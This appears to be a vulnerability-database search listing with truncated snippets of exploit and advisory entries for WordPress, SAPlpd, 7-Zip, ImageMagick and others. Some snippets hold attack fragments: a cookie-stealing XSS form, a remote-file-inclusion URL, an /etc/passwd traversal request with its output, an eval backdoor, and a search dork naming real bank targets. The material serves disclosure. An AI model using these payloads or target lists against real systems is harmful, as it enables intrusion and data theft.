56796 matches found
SAPlpd多个远程溢出及拒绝服务漏洞
BUGTRAQ ID: 27613 CVECAN ID: CVE-2008-0620,CVE-2008-0621 SAPlpd是SAP GUI软件包中所捆绑的Windows平台行市打印机守护程序。 SAPLPD服务程序在处理LPD命令时存在多个缓冲区溢出漏洞，远程攻击者可能利用这些漏洞控制服务器或导致服务不可用。 如果向0x01、0x02、0x03、0x04、0x05、0x31、0x32、0x33、0x34和0x35 LPD命令传送了超长参数的话，就可以触发这些溢出，导致执行任意指令；如果向0x53 LPD命令传送了畸形参数，还可能导致服务器终止。 SAP SAPlpd = 6.28 S...
PKs Movie Database 3.0.3 XSS / SQL Injection Vulnerabilities
No description provided by source. ------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo -------- ------------------------------------------------------------- = Author : HouSSaMix From H-T Team = Script : PKs Movie Database version 3.0.3 =...
Adult Script <= 1.6 Unauthorized Administrative Access Exploit
No description provided by source. ? obimplicitflushtrue; ? titleAdult Script Unauthorized Administrative Access Exploit/title style bodymargin:0px;font-style:normal;font-size:10px;color:FFFFFF;font-family:Verdana,Arial;background-color:3a3a3a;scrollbar-face-color: 303030;scrollbar-highlight-colo...
WordPress MultiUser crossite scripting PoC
No description provided by source. body onLoad="document.hack.submit" form name="hack" action="http://site/wp-newblog.php" method="post" input type="hidden" name="stage" value="1" input type="hidden" name="weblogid" value='"scriptalertdocument.cookie/script' /form /body...
Mercury Mail Transport System AUTH CRAM-MD5远程栈溢出漏洞
BUGTRAQ ID: 25357 Mercury Mail Transport System是一款综合的Internet邮件服务器系统。 Mercury Mail Transport System的SMTP服务器没有正确地处理超长的AUTH CRAM-MD5字符串，远程攻击者可能利用此漏洞控制服务器。 如果用户向服务器提交了恶意的认证请求的话，就可能触发栈溢出，导致完全入侵服务器系统。 Pegasus Mail Mercury Mail Transport System 4.51 Pegasus Mail Mercury Mail Transport System 4.01b...
Webavis 0.1.1 (class.php root) Remote File Inclusion Vulnerability
No description provided by source. Webavis Remote file inclusion root Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz Thanks Str0ke :D Exploit : http://victim.com/webavis/class/class.php?root=shell.txt ? Discovered by ThE TiGeR MiroTigeratHotmail.com sebug.net...
Monalbum 0.8.7 Remote Code Execution Exploit
No description provided by source. ?php / \|/// \ - - // @ @ ----oOOo---oOOo--------------------------------------------------- Y! Underground Group [email protected] Dj7xpl.2600.ir ----ooooO-----Ooooo-------------------------------------------------- \ / \ /...
Imageview 5.3 (fileview.php album) Local File Inclusion Vulnerability
No description provided by source. '/ -.- --------------------oOO------OOo------------------- | Imageview v5.3 fileview.php Local File Inclusion | | works only with magicquotesgpc = off | | coded by DNX | ------------------------------------------------------ ! Discovered: DNX ! Vendor:...
Asterisk SIP T.38 SDP解析远程栈溢出漏洞
Asterisk是一款PBX系统的软件，运行在Linux系统上，支持使用SIP、IAX、H323协议进行IP通话。 Asterisk的SIP/SDP处理器中存在多个远程栈溢出漏洞，远程攻击者可能利用此漏洞控制服务器。 如果所发送SIP报文中的SDP数据包含有超长的T38参数的话，就可以触发这个溢出，导致执行任意代码。这个漏洞是由chansip.c文件中的processsdp函数调用sscanf所导致的： else if sscanfa, "T38FaxRateManagement:%s", s == 1 found = 1; if optiondebug 2 astlogLOGDEBUG...
Wordpress 2.1.1远程命令执行后门漏洞
WordPress是一款免费的论坛Blog系统。 WordPress提供软件下载的网站被入侵，入侵者修改了软件代码码植入远程可执行命令的后门，远程攻击者可能利用这个后门以Web进程权限在安装了恶意版本WordPress的服务器上执行任意命令。 被修改的文件是wp-includes/feed.php和wp-includes/theme.php，被添加了如下代码： 在wp-includes/feed.php文件中： function commenttextphpfilter$filterdata eval$filterdata; ... if $GET"ix"...
Fantastic Scripts Fantastic News远程文件包含漏洞
Fantastic News是一款基于PHP的新闻管理程序。 Fantastic News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'news.php'脚本对用户提交的'CONFIGscriptpath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Fantastic Scripts Fantastic News 2.1.3 http://fscripts.com/free.php?id=1 http://www.example.com/Script...
Apple AirPort Extreme驱动Beacon帧拒绝服务漏洞
Apple Airport Extreme driver是一款MacOS系统上的无线驱动程序。 Apple Airport Extreme driver不正确处理部分beacon帧，远程攻击者可以利用漏洞对系统进行拒绝服务攻击。 目前没有详细漏洞细节提供。 Apple Airport Extreme Driver http://www.apple.com/...
CA BrightStor ARCserve Backup多个远程缓冲区溢出漏洞
CA BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。 CA的多个产品实现上存在多个缓冲区溢出漏洞，远程攻击者可能利用这些漏洞在服务器上执行任意指令。 1. Backup Agent Service DBASVR.exe在6071端口上没能正确处理畸形请求，存在缓冲区溢出，远程非授权用户可以利用此漏洞执行任意指令。 2. Discovery Service在处理来自CheyenneDS Mailslot的超长消息时存在栈溢出漏洞，远程攻击者可以利用此漏洞控制服务器。 3. Discovery...
PPA Gallery <= 1.0 (functions.inc.php) Remote File Include Exploit
No description provided by source. ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+:+...
WebAlbum <= 2.02pl COOKIE[skin2] Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "WebAlbum = 2.02pl $COOKIEskin2 remote cmmnds xctn \r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "- this works with magicquotesgpc=Off\r\n"; echo "dork: WEBalbum...
OWL Intranet Engine 0.82 (xrms_file_root) Code Execution Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n"; print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n"; print...
Moxa EDR-810 Service Agent Multiple Denial of Service Vulnerabilities(CVE-2017-14438 - CVE-2017-14439)
Summary Exploitable denial of service vulnerabilities exists in the Service Agent functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted packet can cause a denial of service. An attacker can send a large packet to 4000/tcp and 4001/tcp to trigger this vulnerability. Tested Version...
Kaspersky Secure Mail Gateway Multiple Vulnerabilities
Advisory Information Title: Kaspersky Secure Mail Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0010 Advisory URL: http://www.coresecurity.com/advisories/kaspersky-secure-mail-gateway-multiple-vulnerabilities Date published: 2018-02-01 Date of last update: 2018-02-01 Vendors contacted:...
WebKit: UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508)
VULNERABILITY DETAILS From /WebKit/Source/core/dom/ContainerNode.cpp: void ContainerNode::parserInsertBeforePassRefPtrWillBeRawPtr newChild, Node& nextChild ... while RefPtrWillBeRawPtr parent = newChild-parentNode parent-parserRemoveChildnewChild; if document != newChild-document...
Pomelo Admin Console Web存在任意文件写入漏洞
...
SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit
Summary SonicDICOM is PACS software that combines the capabilities of DICOM Server with web browser based DICOM Viewer. Description The application suffers from a privilege escalation vulnerability. Normal user can elevate his/her privileges by sending a HTTP PATCH request seting the parameter...
Cesanta Mongoose MQTT SUBSCRIBE Multiple Topics Remote Code Execution(CVE-2017-2894)
Summary An exploitable stack buffer overflow vulnerability exists in the MQTT packet parsing functionality of Cesanta Mongoose 6.8. A specially crafted MQTT SUBSCRIBE packet can cause a stack buffer overflow resulting in remote code execution. An attacker needs to send a specially crafted MQTT...
Network Time Protocol Forced Interleaved Time Spoofing Vulnerability(CVE-2016-1548)
SUMMARY It is possible to change the time of an ntpd client or deny service to an ntpd client by forcing it to change from basic client/server mode to interleaved symmetric mode. An attacker can spoof a packet from a legitimate ntpd server with an origin timestamp that matches the peer-dst...
7zip UDF CInArchive::ReadFileItem Code Execution Vulnerability(CVE-2016-2335)
Summary An out of bound read vulnerability exists in the CInArchive::ReadFileItem method functionality of 7zip for handling UDF files that can lead to denial of service or code execution. Tested Versions 7-Zip 32 15.05 beta 7-Zip 64 9.20 Product URLs http://www.7-zip.org/ Details...
Poppler PDF library JPEG 2000 levels Code Execution Vulnerability(CVE-2017-2820)
Summary An exploitable integer overflow vulnerability exists in the JPEG 2000 image parsing functionality of freedesktop.org Poppler 0.53.0. A specially crafted PDF file can lead to an integer overflow causing out of bounds memory overwrite on the heap resulting in potential arbitrary code...
Wordpress SQLi
Source 1:https://medium. com/websec/wordpress-sqli-bbb2afcc8e94 Wordpress SQLi There won't be an intro, let us jump to the problem. This is the wordpress database abstraction the prepare method code: public function prepare $query, $args if isnull $query return; // This is not meant to be foolpro...
Alpine Linux: From vulnerability discovery to code execution
I’ve recently uncovered two critical vulnerabilities in Alpine Linux’s package manager, assigned CVE-2017-9669 and CVE-2017-9671. These vulnerabilities could potentially lead to an attacker executing malicious code on your machines, if you are using Alpine knowingly or implicitly. Alpine Linux is...
Drupal 7.x Services module unserialize() to RCE
Upon auditing Drupal's Services module, the Ambionics team came accross an insecure use of unserialize. The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution. Services module Services is a "standardized solution for building API'...
PHP PEAR 1.10.1 - arbitrary File Download Vulnerability (CVE-2017-5630)
Author: mapl0 Vulnerability details In the PEAR Base System The 1. 10. 1 version of the installer, can be in after the redirect does not verify file type and file name, and then allows the remote http server via a specially crafted request to overwrite the hacked server files, such as. htaccess i...
Web interface for DNSmasq / Mikrotik - SQL Injection
No description provided by source...
ImageMagick popen_utf8函数命令注入漏洞
Author: niubl 知道创宇404安全实验室 一、漏洞概要 i. 漏洞描述 ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。我发现当用户传入一个包含|竖线的文件名的时候，就有可能触发命令注入漏洞。 ii. 漏洞影响 ImageMagick在处理文件名时会调用OpenBlob函数，在OpenBlob函数中，代码2484行，判断文件名是否以|竖线开头，如果是，那么他会调用popoenutf8函数处理文件名，代码如图：...
XYCMS广告设计中心网站系统 v3.0 view_detail.asp参数id SQL注入漏洞
0x01漏洞简介 XYCMS广告设计中心网站系统采用asp+access架构，其在/viewdetail.asp处对参数id过滤不严格，导致出现SQL注入漏洞。远程攻击者可以利用该漏洞执行SQL指令。 0x02漏洞详情 该系统默认存在一个管理员数据表adminuser，该表包含管理员名称字段admin和密码 md5加密字段password，远程攻击者可以结合union方式获取敏感信息，登陆后台，上传shell。 0x03修复方案 过滤。...
泛微e-office V8.50820 login_other.php sql注入可getshell
No description provided by source...
cmstop 远程代码执行漏洞（大众版）
No description provided by source...
易企CMS install/install.php 代码执行
看代码\install\install.php 作用就是安装该cms，然后把install.php改为install.php.bak。由于apache解析问题，改文件还是会解析成php，然后就可以暴力getshell。 数据库连接文件会写到\include\config.inc.php 由于是双引号可直接shell，无限制。...
PycURL远程代码执行漏洞
简要描述： 利用pycurl上传文件时，如果文件内容是unicode类型，那么会产生Use After Free漏洞 详细说明： 文件名： pycurl\src\easy.c 如果setopt给定的FORMBUFFERPTR的内容是Unicode，如 curl.setoptpycurl.HTTPPOST, 'field2', pycurl.FORMBUFFER, 'uploaded.file', pycurl.FORMBUFFERPTR, u'test', 那么会进入如下流程: 代码1571行会先把unicode转换成str，ostr和olen，分别是str的字符串指针和长度...
Windows 权限提升漏洞 CVE-2015-6132
No description provided by source...
育软电子政务平台SQL注入漏洞
No description provided by source...
U-Mail v9.8.57 /getpass.php 信息泄漏漏洞
No description provided by source...
大汉网络JCMS任意文件下载
简要描述： 大汉网络文件遍历 详细说明： 漏洞Url： /jcms/m5e/module/voting/down.jsp?filename=a.txt&pathfile=/etc/passwd 下载文件： root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin...
frcms 重装系统
简要描述： 重装了 之后 可以轻松getshell。 详细说明： 在install/index.php中 header"Content-Type: text/html; charset=$lang"; foreachArray'GET','POST','COOKIE' as $request foreach$$request as $k = $v $$k = runmagicquotes$v; function runmagicquotes&$svar if!getmagicquotesgpc if isarray$svar foreach$svar as $k = $v $svar$k...
用友人力资源管理软件SQL注入漏洞（无需登录，影响所有版本）
简要描述： 详细说明： 用友软件： 涉及客户非常多。都是大型国企、银行、能源、金融重要单位。 举例如下： 大连银行 http://zpyc.bankofdl.com 顺德农商行 http://career.sdebank.com 中国海洋石油总公司 http://zhaopin.cnooc.com.cn 北京市建筑设计研究院 www.biad.com.cn:88/ 民生银行 http://ehr.creditcard.cmbc.com.cn 中国中铁 http://61.232.6.108/ ....等等单位 直接谷歌搜 inurl:hrss/login.jsp inurl:hrss/r...
Microsoft XP SP3 - BthPan.sys Arbitrary Write Privilege Escalation
No description provided by source. """ Title: Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-002 Publication Date: 2014-07-18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt 1. Vulnerability Details Affected Vendor:...
phpok 4.0.556 /data.php SQL注入漏洞
No description provided by source...
RoundCube 0.3.1 XRF/SQL injection
No description provided by source. Exploit Title: RoundCube 0.3.1 SQL injection Date: 10/10/2011 Author: Smith Falcon Software Link: http://roundcube.net/download Version: 0.3.1 Tested on: Linux timezone= is vulnerable to SQL Union Injection. POST data in http://site.com/roundcube/index.php...
greeting card Remote Upload Vulnerability
No description provided by source. Exploit Title: greeting card Remote Upload Vulnerability Date: 04/06/2010 Author: Mr.Benladen Software Link: N/A Version: 2004/2008 Tested on: Linux/unix CVE : if exists Code : N/A Email : [email protected] Mr.Benladen cr3w Dork : Send amazing greetings to yo...
Acpid 1:2.0.10-1ubuntu2 Privilege Boundary Crossing Vulnerability
No description provided by source. Exploit Title: Acpid Privilege Boundary Crossing Vulnerability Google Dork: Date: 23-11-2011 Author: otr Software Link: https://launchpad.net/ubuntu/+source/acpid Version: 1:2.0.10-1ubuntu2 Tested on: Ubuntu 11.10, Ubuntu 11.04 CVE : CVE-2011-2777 -- Safeguard...
KingView 6.5.3 SCADA HMI Heap Overflow PoC
No description provided by source. Exploit Title: KingView 6.53 SCADA HMI Heap Overflow PoC Date: 9/28/2010 Author: Dillon Beresford Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53EN.rar Version: 6.53 English Tested on: Windows XP SP1 works on SP2 an...
KDE KDELibs 4.3.3 - Remote Array Overrun
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 KDE KDELibs 4.3.3 Remote Array Overrun Arbitrary code execution Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - - Dis.: 07.05.2009 - - Pub.: 20.11.2009 CVE: CVE-2009-0689 Risk: High Remote:...